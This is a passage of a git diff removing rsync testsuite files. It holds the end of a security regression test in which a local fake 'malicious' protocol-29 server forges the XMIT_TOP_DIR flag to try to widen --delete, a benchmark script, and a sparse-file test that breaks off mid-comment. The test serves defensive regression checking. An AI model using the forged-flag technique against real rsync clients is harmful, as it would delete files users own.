13303\n-\n-require_tcp('the malicious protocol-29 server needs TCP; run with --use-tcp')\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'peer-legacy-implied-delete-scope'\n-rmtree(base)\n-makepath(base)\n-\n-\n-def pull(label, forged_top_dir):\n-    dest = base / label\n-    makepath(dest / 'dir')\n-    sentinel = dest / 'dir' / 'must-survive'\n-    sentinel.write_text('receiver-owned sibling outside requested leaf\\n')\n-\n-    listener = socket.socket()\n-    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-    listener.bind(('127.0.0.1', PORT))\n-    listener.listen(1)\n-    listener.settimeout(30)\n-    state = {}\n-\n-    def serve():\n-        try:\n-            sock, _ = listener.accept()\n-            sock.settimeout(15)\n-            peer = rp.DaemonReceiver(\n-                sock, greeting_version=29, protocol=29,\n-            )\n-            peer.handshake(seed=0x12345678)\n-\n-            # Protocol 29 daemon argv is newline-framed and blank-terminated.\n-            while peer._readline():\n-                pass\n-\n-            parent_flags = rp.XMIT_TOP_DIR if forged_top_dir else 0\n-            flist = (\n-                rp.FileEntry(\n-                    'dir', mode=rp.S_IFDIR | 0o755,\n-                    extra_flags=parent_flags, protocol=29,\n-                ).encode()\n-                + rp.FileEntry(\n-                    'dir/file', mode=rp.S_IFREG | 0o644,\n-                    length=0, protocol=29,\n-                ).encode()\n-                + rp.end_of_flist(0, 29)\n-                + rp.w_int(0)  # protocol-29 post-flist io_error\n-            )\n-            # Deletion runs from the received flist before transfer data is\n-            # needed.  End the remaining phases cleanly enough for the client\n-            # to finish or report an ordinary stream error.\n-            peer.send_data(flist + rp.w_int(rp.NDX_DONE) * 4)\n-            peer.drain(timeout=3)\n-            peer.close()\n-        except Exception as exc:  # noqa: BLE001\n-            state['err'] = repr(exc)\n-\n-    thread = threading.Thread(target=serve, daemon=True)\n-    thread.start()\n-    try:\n-        proc = subprocess.run(\n-            rsync_argv(\n-                '-rR', '--delete',\n-                f'rsync://127.0.0.1:{PORT}/mod/dir/file', str(dest) + '/',\n-            ),\n-            stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,\n-            timeout=20,\n-        )\n-    finally:\n-        thread.join(timeout=8)\n-        listener.close()\n-    return sentinel.exists(), proc, state\n-\n-\n-control_survived, control_proc, control_state = pull('control', False)\n-attack_survived, attack_proc, attack_state = pull('attack', True)\n-\n-if not control_survived:\n-    test_fail(\n-        'protocol-29 control without XMIT_TOP_DIR deleted the sibling: '\n-        f'rc={control_proc.returncode}, server={control_state!r}, '\n-        f'output={control_proc.stdout}{control_proc.stderr}')\n-\n-if not attack_survived:\n-    test_fail(\n-        'malicious protocol-29 sender marked implied parent dir as '\n-        'XMIT_TOP_DIR and expanded scoped --delete from dir/file to dir/, '\n-        'deleting receiver-owned must-survive; the protocol-30 implied-parent '\n-        'downgrade was not applied to the legacy branch; '\n-        f'control rc={control_proc.returncode}, attack rc={attack_proc.returncode}, '\n-        f'control server={control_state!r}, attack server={attack_state!r}, '\n-        f'attack output={attack_proc.stdout}{attack_proc.stderr}')\n-\n-if attack_state.get('err') and control_state.get('err') != attack_state.get('err'):\n-    test_fail(\n-        f'attack server failed differently from control: attack={attack_state!r}, '\n-        f'control={control_state!r}, rc={attack_proc.returncode}, '\n-        f'output={attack_proc.stdout}{attack_proc.stderr}')\n-\n-print('peer-legacy-implied-delete-scope: protocol-29 implied parent remained '\n-      'non-content under forged XMIT_TOP_DIR')\ndiff --git a/testsuite/perftest.py b/testsuite/perftest.py\ndeleted file mode 100755\nindex d5ac6a2..0000000\n--- a/testsuite/perftest.py\n+++ /dev/null\n@@ -1,506 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Compare the transfer performance of two rsync binaries (local <-> local).\n-\n-This is a standalone dev tool (run it directly, not via runtests.py) for\n-spotting performance regressions between rsync releases.  Given two rsync\n-binaries it builds one test tree, then runs the two binaries ALTERNATELY for a\n-number of loops, timing each transfer, and reports the mean and standard\n-deviation of the transfer time for each binary.\n-\n-Two transfers are timed each loop (see --mode):\n-  * full  -- a fresh copy into an emptied destination (end-to-end read+write).\n-  * noop  -- a re-run against an already-synced destination (rsync's own\n-             scan / file-list / stat overhead, where many regressions hide).\n-\n-The first measured run of each binary is dropped (see --warmup) because it\n-cold-loads the source into the page cache and is an outlier.\n-\n-The test tree's shape (heavy-tailed file sizes, a directory spine, symlinks,\n-hard links and a spread of permission modes) follows the gentestdata.py\n-generator; it is deterministic for a given --seed.\n-\n-Examples:\n-    # Quick smoke run, same binary twice (means should match, no regression).\n-    ./perftest.py --files 200 --total-size 5M -n 3 ./rsync ./rsync\n-\n-    # Compare a released binary against a fresh build over 8 loops.\n-    ./perftest.py -n 8 ../old_versions/rsync_3.4.0 ./rsync\n-\n-    # Heavier tree, no-op (scan-overhead) timing only.\n-    ./perftest.py --files 50000 --total-size 2G --mode noop OLD/rsync NEW/rsync\n-\"\"\"\n-\n-import argparse\n-import dataclasses\n-import math\n-import os\n-import random\n-import shlex\n-import shutil\n-import statistics\n-import struct\n-import subprocess\n-import sys\n-import tempfile\n-import time\n-\n-# ---------------------------------------------------------------------------\n-# Test-tree generation (ported from gentestdata.py, kept self-contained).\n-# ---------------------------------------------------------------------------\n-\n-# Marker file at the tree root; safe_rmtree only deletes a tree carrying it.\n-MARKER = \".perftest\"\n-\n-# Permission modes drawn at random for regular files (execs + read-only).\n-FILE_MODES = [0o644, 0o644, 0o600, 0o640, 0o664, 0o444, 0o755, 0o750, 0o700]\n-# Directory modes; owner always keeps r-x so the tree stays traversable.\n-DIR_MODES = [0o755, 0o755, 0o775, 0o750, 0o700, 0o555]\n-\n-SIZE_SIGMA = 1.8          # sigma of the underlying lognormal size distribution\n-BASE_BUF_SIZE = 1 << 20   # 1 MiB shared random buffer for file content\n-\n-\n-def parse_size(s):\n-    \"\"\"Parse a human size like 500M, 1.5GiB, 200KB, or a bare byte count.\"\"\"\n-    s = s.strip()\n-    units = {\n-        \"\": 1, \"B\": 1,\n-        \"K\": 1024, \"KIB\": 1024, \"KB\": 1000,\n-        \"M\": 1024**2, \"MIB\": 1024**2, \"MB\": 1000**2,\n-        \"G\": 1024**3, \"GIB\": 1024**3, \"GB\": 1000**3,\n-        \"T\": 1024**4, \"TIB\": 1024**4, \"TB\": 1000**4,\n-    }\n-    num, suffix = s, \"\"\n-    while num and not (num[-1].isdigit() or num[-1] == \".\"):\n-        suffix = num[-1] + suffix\n-        num = num[:-1]\n-    suffix = suffix.upper()\n-    if suffix not in units:\n-        raise argparse.ArgumentTypeError(f\"unknown size suffix in {s!r}\")\n-    try:\n-        value = float(num)\n-    except ValueError:\n-        raise argparse.ArgumentTypeError(f\"invalid size {s!r}\")\n-    return int(value * units[suffix])\n-\n-\n-def human(n):\n-    \"\"\"Format a byte count for the summary output.\"\"\"\n-    for unit in (\"B\", \"KiB\", \"MiB\", \"GiB\", \"TiB\"):\n-        if abs(n) < 1024 or unit == \"TiB\":\n-            return f\"{n:.1f}{unit}\" if unit != \"B\" else f\"{n}B\"\n-        n /= 1024\n-\n-\n-def gen_sizes(n, total, rng):\n-    \"\"\"Return n heavy-tailed file sizes (bytes) summing to exactly `total`.\"\"\"\n-    if n == 0:\n-        return []\n-    weights = [math.exp(rng.gauss(0.0, SIZE_SIGMA)) for _ in range(n)]\n-    wsum = sum(weights)\n-    sizes = [int(w / wsum * total) for w in weights]\n-    drift = total - sum(sizes)\n-    if drift and sizes:\n-        i = max(range(n), key=lambda k: sizes[k])\n-        sizes[i] += drift\n-    return sizes\n-\n-\n-def build_dirs(root, num_dirs, max_depth, rng):\n-    \"\"\"Create `num_dirs` dirs under root, up to `max_depth` deep; return them.\"\"\"\n-    os.makedirs(root)\n-    dirs = [root]\n-    depth_of = {root: 0}\n-    candidates = [root] if max_depth > 0 else []\n-    counter = 0\n-\n-    cur = root\n-    for d in range(1, max_depth + 1):\n-        cur = os.path.join(cur, f\"d{d}\")\n-        os.mkdir(cur)\n-        dirs.append(cur)\n-        depth_of[cur] = d\n-        if d < max_depth:\n-            candidates.append(cur)\n-\n-    while len(dirs) < num_dirs and candidates:\n-        parent = rng.choice(candidates)\n-        counter += 1\n-        child = os.path.join(parent, f\"dir{counter}\")\n-        os.mkdir(child)\n-        d = depth_of[parent] + 1\n-        dirs.append(child)\n-        depth_of[child] = d\n-        if d < max_depth:\n-            candidates.append(child)\n-\n-    return dirs\n-\n-\n-def write_file(path, size, index, base):\n-    \"\"\"Write a regular file of exactly `size` bytes (index/size in first 16).\"\"\"\n-    with open(path, \"wb\") as f:\n-        remaining = size\n-        if remaining >= 16:\n-            f.write(struct.pack(\"<QQ\", index, size))\n-            remaining -= 16\n-        blen = len(base)\n-        while remaining > 0:\n-            chunk = base if remaining >= blen else base[:remaining]\n-            f.write(chunk)\n-            remaining -= len(chunk)\n-\n-\n-def rel_symlink(target, link_path):\n-    \"\"\"Create a relative symlink at link_path pointing at target.\"\"\"\n-    rel = os.path.relpath(target, os.path.dirname(link_path))\n-    os.symlink(rel, link_path)\n-\n-\n-def safe_rmtree(path):\n-    \"\"\"Remove a tree, even one containing read-only directories.\"\"\"\n-    for dirpath, _dirnames, _filenames in os.walk(path):\n-        try:\n-            os.chmod(dirpath, 0o700)\n-        except OSError:\n-            pass\n-    shutil.rmtree(path)\n-\n-\n-def generate_tree(root, args):\n-    \"\"\"Build the deterministic source tree at `root`; return a summary string.\"\"\"\n-    n = args.files\n-    num_dirs = args.dirs if args.dirs is not None else max(args.depth, n // 20, 1)\n-    n_sym = args.symlinks if args.symlinks is not None else (max(1, n // 20) if n else 0)\n-    n_hard = args.hardlinks if args.hardlinks is not None else (max(1, n // 20) if n else 0)\n-\n-    rng = random.Random(args.seed)\n-    base = rng.randbytes(BASE_BUF_SIZE)\n-\n-    dirs = build_dirs(root, num_dirs, args.depth, rng)\n-    with open(os.path.join(root, MARKER), \"w\") as f:\n-        f.write(f\"generated by perftest.py seed={args.seed} files={n} \"\n-                f\"total={args.total_size}\\n\")\n-\n-    sizes = gen_sizes(n, args.total_size, rng)\n-    files = []\n-    for i in range(n):\n-        path = os.path.join(rng.choice(dirs), f\"file{i}.dat\")\n-        write_file(path, sizes[i], i, base)\n-        files.append(path)\n-\n-    hard_made = 0\n-    if files:\n-        for i in range(n_hard):\n-            tgt = rng.choice(files)\n-            link = os.path.join(rng.choice(dirs), f\"hlink{i}_{os.path.basename(tgt)}\")\n-            try:\n-                os.link(tgt, link)\n-                hard_made += 1\n-            except OSError:\n-                pass\n-\n-    sym_made = 0\n-    for i in range(n_sym):\n-        link = os.path.join(rng.choice(dirs), f\"sym{i}\")\n-        roll = rng.random()\n-        try:\n-            if roll < 0.15 or not files:\n-                os.symlink(f\"../broken-target-{i}\", link)\n-            elif roll < 0.30:\n-                rel_symlink(rng.choice(dirs), link)\n-            else:\n-                rel_symlink(rng.choice(files), link)\n-            sym_made += 1\n-        except OSError:\n-            pass\n-\n-    for path in files:\n-        os.chmod(path, rng.choice(FILE_MODES))\n-    for path in sorted((d for d in dirs if d != root),\n-                       key=lambda p: p.count(os.sep), reverse=True):\n-        os.chmod(path, rng.choice(DIR_MODES))\n-\n-    return (f\"files={n} dirs={len(dirs)} symlinks={sym_made} hardlinks={hard_made} \"\n-            f\"total={human(sum(sizes))} biggest={human(max(sizes) if sizes else 0)} \"\n-            f\"seed={args.seed}\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# Benchmark.\n-# ---------------------------------------------------------------------------\n-\n-@dataclasses.dataclass\n-class Binary:\n-    label: str          # \"A\" / \"B\"\n-    path: str           # absolute path to the rsync binary\n-    version: str        # first line of `rsync --version`\n-\n-\n-def rsync_version(path):\n-    \"\"\"Return the first line of `<rsync> --version`, or a placeholder.\"\"\"\n-    try:\n-        r = subprocess.run([path, \"--version\"], capture_output=True, text=True, timeout=15)\n-        line = (r.stdout or r.stderr or \"\").splitlines()\n-        return line[0].strip() if line else \"(no --version output)\"\n-    except (OSError, subprocess.TimeoutExpired) as e:\n-        return f\"(version unavailable: {e})\"\n-\n-\n-def drop_caches():\n-    \"\"\"Best-effort: flush dirty pages and drop the page/dentry/inode caches.\n-\n-    Needs root to write /proc/sys/vm/drop_caches; returns True on success.\n-    \"\"\"\n-    subprocess.run([\"sync\"], check=False)\n-    try:\n-        with open(\"/proc/sys/vm/drop_caches\", \"w\") as f:\n-            f.write(\"3\\n\")\n-        return True\n-    except OSError:\n-        return False\n-\n-\n-def time_transfer(binary, rsync_args, src, dest, timeout):\n-    \"\"\"Run one `rsync <args> src/ dest/` and return its wall-clock seconds.\n-\n-    Raises RuntimeError if rsync exits non-zero (a failed transfer can't be\n-    timed meaningfully).\n-    \"\"\"\n-    argv = [binary.path, *rsync_args, src + \"/\", dest + \"/\"]\n-    t0 = time.monotonic()\n-    r = subprocess.run(argv, capture_output=True, text=True, timeout=timeout)\n-    elapsed = time.monotonic() - t0\n-    if r.returncode != 0:\n-        raise RuntimeError(\n-            f\"{binary.label} ({binary.path}) rsync exited {r.returncode}:\\n\"\n-            f\"  cmd: {shlex.join(argv)}\\n\"\n-            f\"  {(r.stderr or r.stdout).strip()}\")\n-    return elapsed\n-\n-\n-def run_benchmark(binaries, args, src, dest_full, dest_noop):\n-    \"\"\"Run the alternating loops; return {label: {mode: [all samples]}}.\"\"\"\n-    do_full = args.mode in (\"both\", \"full\")\n-    do_noop = args.mode in (\"both\", \"noop\")\n-\n-    # Pre-populate the shared no-op destination so every timed no-op run finds\n-    # nothing to do.  Use binary A; its content is identical for B.\n-    if do_noop:\n-        time_transfer(binaries[0], args.rsync_args, src, dest_noop, args.timeout)\n-\n-    samples = {b.label: {m: [] for m in (\"full\", \"noop\")} for b in binaries}\n-    total_loops = args.warmup + args.runs\n-\n-    for loop in range(total_loops):\n-        tag = \"warmup\" if loop < args.warmup else f\"run {loop - args.warmup + 1}/{args.runs}\"\n-        # Alternate which binary goes first to cancel first-mover/thermal drift.\n-        order = binaries if loop % 2 == 0 else list(reversed(binaries))\n-        for b in order:\n-            if do_full:\n-                safe_rmtree(dest_full) if os.path.exists(dest_full) else None\n-                os.mkdir(dest_full)\n-                if args.drop_caches:\n-                    drop_caches()\n-                t = time_transfer(b, args.rsync_args, src, dest_full, args.timeout)\n-                samples[b.label][\"full\"].append(t)\n-                _progress(b, \"full\", tag, t)\n-            if do_noop:\n-                if args.drop_caches:\n-                    drop_caches()\n-                t = time_transfer(b, args.rsync_args, src, dest_noop, args.timeout)\n-                samples[b.label][\"noop\"].append(t)\n-                _progress(b, \"noop\", tag, t)\n-    return samples\n-\n-\n-def _progress(binary, mode, tag, t):\n-    excl = \" (warmup, excluded)\" if tag == \"warmup\" else \"\"\n-    print(f\"  [{tag:>10}] {binary.label} {mode:<4} {t:8.3f}s{excl}\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# Reporting.\n-# ---------------------------------------------------------------------------\n-\n-def _stats(times):\n-    \"\"\"(n, mean, stddev, min, median) over the timing samples.\"\"\"\n-    n = len(times)\n-    if n == 0:\n-        return (0, 0.0, 0.0, 0.0, 0.0)\n-    return (n, statistics.mean(times),\n-            statistics.stdev(times) if n > 1 else 0.0,\n-            min(times), statistics.median(times))\n-\n-\n-def report(binaries, samples, args):\n-    \"\"\"Print the per-binary tables and the A-vs-B comparison; return exit code.\"\"\"\n-    print(\"\\n\" + \"=\" * 72)\n-    for b in binaries:\n-        print(f\"{b.label}: {b.path}\\n   {b.version}\")\n-    print(f\"rsync args: {' '.join(args.rsync_args)}   \"\n-          f\"(note: a full copy is not fsync'd unless you add --fsync)\")\n-    print(\"=\" * 72)\n-\n-    modes = [m for m in (\"full\", \"noop\") if any(samples[b.label][m] for b in binaries)]\n-    hdr = f\"{'binary':<7}{'mode':<6}{'runs':>5}{'mean':>11}{'stddev':>11}{'min':>11}{'median':>11}\"\n-\n-    for mode in modes:\n-        print(f\"\\n{hdr}\\n{'-' * len(hdr)}\")\n-        st = {}\n-        for b in binaries:\n-            # Drop the leading warm-up samples before computing statistics.\n-            kept = samples[b.label][mode][args.warmup:]\n-            st[b.label] = _stats(kept)\n-            n, mean, sd, mn, md = st[b.label]\n-            print(f\"{b.label:<7}{mode:<6}{n:>5}{mean:>10.3f}s{sd:>10.3f}s\"\n-                  f\"{mn:>10.3f}s{md:>10.3f}s\")\n-\n-        a, c = binaries[0].label, binaries[1].label\n-        (na, ma, sda, *_), (nc, mc, sdc, *_) = st[a], st[c]\n-        if na and nc and ma > 0:\n-            delta = mc - ma\n-            pct = delta / ma * 100.0\n-            noise = max(sda, sdc)\n-            # Flag only when B is slower beyond the run-to-run noise and a small\n-            # relative threshold, so jitter doesn't cry \"regression\".\n-            if delta > noise and pct > args.threshold:\n-                verdict = f\"REGRESSION (slower): {c} is {pct:+.1f}% vs {a}\"\n-            elif delta < -noise and -pct > args.threshold:\n-                verdict = f\"faster: {c} is {pct:+.1f}% vs {a}\"\n-            else:\n-                verdict = f\"no significant change: {pct:+.1f}% (within noise)\"\n-            print(f\"  {mode}: {a} {ma:.3f}s  vs  {c} {mc:.3f}s  ->  {verdict}\")\n-\n-    if args.csv:\n-        _write_csv(args.csv, binaries, samples)\n-        print(f\"\\nraw per-run timings written to {args.csv}\")\n-    return 0\n-\n-\n-def _write_csv(path, binaries, samples):\n-    with open(path, \"w\") as f:\n-        f.write(\"binary,path,mode,run,warmup,seconds\\n\")\n-        for b in binaries:\n-            for mode in (\"full\", \"noop\"):\n-                for i, t in enumerate(samples[b.label][mode]):\n-                    f.write(f\"{b.label},{b.path},{mode},{i},{int(i == 0)},{t:.6f}\\n\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# Main.\n-# ---------------------------------------------------------------------------\n-\n-def main():\n-    ap = argparse.ArgumentParser(\n-        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n-    ap.add_argument(\"rsync_a\", help=\"path to the first rsync binary (labelled A)\")\n-    ap.add_argument(\"rsync_b\", help=\"path to the second rsync binary (labelled B)\")\n-    ap.add_argument(\"-n\", \"--runs\", type=int, default=10,\n-                    help=\"measured loops per binary (default: 10)\")\n-    ap.add_argument(\"--warmup\", type=int, default=1,\n-                    help=\"leading runs per binary dropped from the stats to \"\n-                         \"reduce cache impact (default: 1)\")\n-    ap.add_argument(\"--mode\", choices=(\"both\", \"full\", \"noop\"), default=\"both\",\n-                    help=\"full=clean-dest copy, noop=re-sync scan overhead, \"\n-                         \"both (default)\")\n-    ap.add_argument(\"--rsync-args\", default=\"-aH\",\n-                    help=\"rsync flags for the timed transfer (default: -aH)\")\n-    ap.add_argument(\"--threshold\", type=float, default=2.0,\n-                    help=\"percent slowdown above run-to-run noise before a \"\n-                         \"regression is flagged (default: 2.0)\")\n-    # Tree-generation knobs (mirror gentestdata.py).\n-    ap.add_argument(\"--src\", default=None,\n-                    help=\"benchmark this existing tree instead of generating one\")\n-    ap.add_argument(\"-f\", \"--files\", type=int, default=10000,\n-                    help=\"number of regular files to generate (default: 10000)\")\n-    ap.add_argument(\"-s\", \"--total-size\", type=parse_size, default=\"500M\",\n-                    help=\"total size of all regular files (default: 500M)\")\n-    ap.add_argument(\"-d\", \"--depth\", type=int, default=10,\n-                    help=\"maximum directory tree depth (default: 10)\")\n-    ap.add_argument(\"--dirs\", type=int, default=None,\n-                    help=\"number of directories (default: max(depth, files/20))\")\n-    ap.add_argument(\"--symlinks\", type=int, default=None,\n-                    help=\"number of symlinks (default: files/20)\")\n-    ap.add_argument(\"--hardlinks\", type=int, default=None,\n-                    help=\"number of hard links (default: files/20)\")\n-    ap.add_argument(\"--seed\", type=int, default=1,\n-                    help=\"PRNG seed for a reproducible tree (default: 1)\")\n-    ap.add_argument(\"--workdir\", default=None,\n-                    help=\"scratch root for src/dest dirs (default: a tempdir)\")\n-    ap.add_argument(\"--drop-caches\", action=\"store_true\",\n-                    help=\"sync + drop page/dentry/inode caches before each timed \"\n-                         \"run (needs root; cold-cache measurement)\")\n-    ap.add_argument(\"--timeout\", type=float, default=3600.0,\n-                    help=\"seconds before a single rsync run is abandoned \"\n-                         \"(default: 3600)\")\n-    ap.add_argument(\"--keep\", action=\"store_true\",\n-                    help=\"keep the scratch tree on exit (default: remove it)\")\n-    ap.add_argument(\"--csv\", default=None,\n-                    help=\"write raw per-run timings to this CSV file\")\n-    args = ap.parse_args()\n-\n-    if args.runs < 2:\n-        ap.error(\"--runs must be >= 2 (need >=2 samples for a stddev)\")\n-    args.rsync_args = shlex.split(args.rsync_args)\n-\n-    binaries = []\n-    for label, p in ((\"A\", args.rsync_a), (\"B\", args.rsync_b)):\n-        path = os.path.abspath(p)\n-        if not (os.path.isfile(path) and os.access(path, os.X_OK)):\n-            ap.error(f\"rsync {label} is not an executable file: {p}\")\n-        binaries.append(Binary(label, path, rsync_version(path)))\n-\n-    workdir = tempfile.mkdtemp(prefix=\"rsync-perftest-\",\n-                               dir=args.workdir) if not args.keep or not args.workdir \\\n-        else os.path.join(args.workdir, \"rsync-perftest\")\n-    os.makedirs(workdir, exist_ok=True)\n-    dest_full = os.path.join(workdir, \"dest_full\")\n-    dest_noop = os.path.join(workdir, \"dest_noop\")\n-    os.makedirs(dest_noop, exist_ok=True)\n-\n-    generated = None\n-    if args.src:\n-        src = os.path.abspath(args.src)\n-        if not os.path.isdir(src):\n-            ap.error(f\"--src is not a directory: {args.src}\")\n-        print(f\"using existing source tree {src}\")\n-    else:\n-        src = os.path.join(workdir, \"src\")\n-        print(f\"generating source tree in {src} ...\")\n-        t0 = time.monotonic()\n-        summary = generate_tree(src, args)\n-        generated = src\n-        print(f\"  {summary}  ({time.monotonic() - t0:.1f}s)\")\n-\n-    print(f\"\\nbenchmarking: warmup={args.warmup} runs={args.runs} mode={args.mode} \"\n-          f\"drop_caches={args.drop_caches}\\n\")\n-    rc = 1\n-    try:\n-        samples = run_benchmark(binaries, args, src, dest_full, dest_noop)\n-        rc = report(binaries, samples, args)\n-    except RuntimeError as e:\n-        print(f\"\\nbenchmark aborted: {e}\", file=sys.stderr)\n-        rc = 2\n-    except KeyboardInterrupt:\n-        print(\"\\ninterrupted\", file=sys.stderr)\n-        rc = 130\n-    finally:\n-        if args.keep:\n-            print(f\"\\nkept scratch tree: {workdir}\")\n-        else:\n-            for d in (dest_full, dest_noop, generated):\n-                if d and os.path.exists(d):\n-                    safe_rmtree(d)\n-            # Remove the workdir itself if it is now empty (i.e. we made it).\n-            try:\n-                os.rmdir(workdir)\n-            except OSError:\n-                pass\n-    sys.exit(rc)\n-\n-\n-if __name__ == \"__main__\":\n-    main()\n-\n-# vim: sw=4 et ft=python\ndiff --git a/testsuite/preallocate_test.py b/testsuite/preallocate_test.py\ndeleted file mode 100644\nindex bba87c7..0000000\n--- a/testsuite/preallocate_test.py\n+++ /dev/null\n@@ -1,184 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of the file-allocation syscalls in syscall.c at depth:\n-do_fallocate (--preallocate) and do_punch_hole (sparse writes).\n-\n-These are receiver-side file operations the resolver restructure also touches.\n-Content must survive everywhere; in addition, where the filesystem stores holes,\n---preallocate --sparse must end up sparse (st_blocks below the apparent size).\n-That is a regression guard: do_fallocate() must report the preallocated length\n-so write_sparse() punches holes in the reserved extent instead of lseek'ing over\n-it -- a stray 0 there silently left the file fully allocated.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, make_data_file, makepath, rmtree, run_rsync, test_fail,\n-    test_skipped,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'f')\n-\n-\n-def allocated(path):\n-    return os.stat(path).st_blocks * 512\n-\n-# --preallocate needs fallocate/posix_fallocate, and do_punch_hole needs\n-# FALLOC_FL_PUNCH_HOLE -- both Linux (and Cygwin) features. macOS, the *BSDs and\n-# Solaris build without preallocation and reject the option outright (\"prealloc-\n-# ation is not supported\"), so probe once with a trivial transfer and skip the\n-# whole test where it's unavailable.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src)\n-(src / 'probe').write_text(\"x\\n\")\n-if run_rsync('-a', '--preallocate', f'{src}/', f'{TODIR}/',\n-             check=False, capture_output=True).returncode != 0:\n-    test_skipped(\"--preallocate not supported on this platform\")\n-\n-def punch_frees(offset, length, size):\n-    \"\"\"True where punching [offset, offset+length) out of a `size`-byte file\n-    really deallocates blocks -- the mechanism do_punch_hole uses for --sparse.\n-\n-    Two separate things can leave st_blocks untouched, so each assertion below\n-    probes the exact shape it relies on.  A filesystem may report seek-based\n-    sparseness yet still keep every block on a punch (e.g. where rsync's punch\n-    falls back to writing zeros), which a whole-file probe catches.  And a punch\n-    only frees storage in whole allocation units, which are not always 4 KiB: a\n-    tmpfs frees whole pages, 16 KiB on loongarch/loong64 (and 64 KiB on a\n-    64k-page ppc64el or arm64 kernel), and a filesystem may be formatted with a\n-    block size above the page size.  An interior run spanning no whole unit is\n-    zeroed rather than deallocated, so st_blocks does not move and an assertion\n-    phrased in st_blocks would report a hole-punching regression that is really\n-    just the filesystem's granularity.\n-\n-    fallocate64() rather than fallocate(): where off_t is 32 bits the latter\n-    takes 32-bit offsets, so ctypes' 64-bit arguments do not line up with what\n-    it reads (on i386 it takes the high half of `offset` as its `length`) and\n-    every probe fails with EINVAL -- which is why every assertion below has\n-    silently done nothing on all the 32-bit ports.  fallocate64() takes off64_t\n-    everywhere and is a plain alias of fallocate() where off_t is already 64\n-    bits wide.\n-\n-    The probe data has to be incompressible: a filesystem that compresses\n-    (btrfs with compress=) stores a run of one repeated byte in almost no\n-    blocks, leaving a successful punch with nothing to free.\"\"\"\n-    import ctypes\n-    import ctypes.util\n-    KEEP_SIZE, PUNCH_HOLE = 0x01, 0x02\n-    p = src / 'punch-probe'\n-    fd = -1\n-    try:\n-        libc = ctypes.CDLL(ctypes.util.find_library('c') or 'libc.so.6',\n-                           use_errno=True)\n-        libc.fallocate64.argtypes = [ctypes.c_int, ctypes.c_int,\n-                                     ctypes.c_longlong, ctypes.c_longlong]\n-        fd = os.open(p, os.O_CREAT | os.O_RDWR | os.O_TRUNC, 0o644)\n-        os.write(fd, os.urandom(size))\n-        before = os.fstat(fd).st_blocks\n-        ret = libc.fallocate64(fd, PUNCH_HOLE | KEEP_SIZE, offset, length)\n-        return ret == 0 and os.fstat(fd).st_blocks < before\n-    except (OSError, AttributeError, ValueError):\n-        return False\n-    finally:\n-        if fd >= 0:\n-            os.close(fd)\n-        try:\n-            os.unlink(p)\n-        except OSError:\n-            pass\n-\n-\n-can_punch = punch_frees(0, 65536, 65536)\n-\n-\n-def seed_plain(size=1_000_000):\n-    rmtree(src)\n-    rmtree(TODIR)\n-    makepath(src / 'd1' / 'd2' / 'd3')\n-    make_data_file(src / deep, size)\n-\n-\n-def seed_holey(head=4096, hole=2 * 1024 * 1024, tail=4096):\n-    rmtree(src)\n-    rmtree(TODIR)\n-    makepath(src / 'd1' / 'd2' / 'd3')\n-    with open(src / deep, 'wb') as f:\n-        f.write(os.urandom(head))\n-        f.write(b'\\0' * hole)        # a real zero run for the sparse writer\n-        f.write(os.urandom(tail))\n-\n-\n-# --- --preallocate: do_fallocate on the receiver ----------------------------\n-seed_plain()\n-run_rsync('-a', '--preallocate', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='--preallocate content')\n-\n-# --- --preallocate --sparse on a holey file: do_fallocate + do_punch_hole ---\n-# rsync.1 promises sparse blocks for this combination where the FS supports\n-# holes. Assert it: do_fallocate reserves the whole extent, then the zero run\n-# must be punched back out (st_blocks well below the apparent size).\n-seed_holey()\n-run_rsync('-a', '--preallocate', '--sparse', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='--preallocate --sparse content')\n-if can_punch and allocated(TODIR / deep) >= os.path.getsize(TODIR / deep):\n-    test_fail(f\"--preallocate --sparse left the file fully allocated \"\n-              f\"(allocated {allocated(TODIR / deep)} for a \"\n-              f\"{os.path.getsize(TODIR / deep)}-byte file); the preallocated \"\n-              \"extent's zero run was not punched into a hole\")\n-\n-# --- --inplace --sparse update that introduces a zero run: do_punch_hole ----\n-# (sparse_end's updating_basis_or_equiv branch punches the hole in place.)\n-seed_plain()\n-run_rsync('-a', f'{src}/', f'{TODIR}/')              # dest starts fully populated\n-data = bytearray((src / deep).read_bytes())\n-data[200_000:800_000] = b'\\0' * 600_000              # same size, new zero run\n-(src / deep).write_bytes(bytes(data))\n-st = os.stat(src / deep)\n-os.utime(src / deep, (st.st_atime, st.st_mtime + 100))   # force a delta update\n-run_rsync('-a', '--inplace', '--sparse', '--no-whole-file', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='--inplace --sparse content')\n-if can_punch and allocated(TODIR / deep) >= os.path.getsize(TODIR / deep):\n-    test_fail(f\"--inplace --sparse did not punch the zero run: allocated \"\n-              f\"{allocated(TODIR / deep)} for a {os.path.getsize(TODIR / deep)}\"\n-              \"-byte file\")\n-\n-# --- --inplace --sparse must punch interior holes in matched blocks ----------\n-# Make source and destination byte-identical and densely allocated.  With\n-# --block-size matching the pattern size, every block match is at the same\n-# offset, so skip_matched() sends it through write_sparse(use_seek=1).  The\n-# interior zero run must still be scanned and punched rather than merely\n-# seeked over with the rest of the matching block.\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'd1' / 'd2' / 'd3', TODIR / 'd1' / 'd2' / 'd3')\n-with open(src / deep, 'wb') as source, open(TODIR / deep, 'wb') as dest:\n-    for _ in range(256):\n-        block = os.urandom(4096) + b'\\0' * 24576 + os.urandom(4096)\n-        source.write(block)\n-        dest.write(block)\n-\n-# Only assert the interior punch where the filesystem can free a 24 KiB run\n-# sitting 4 KiB into a 32 KiB block -- the exact shape written just 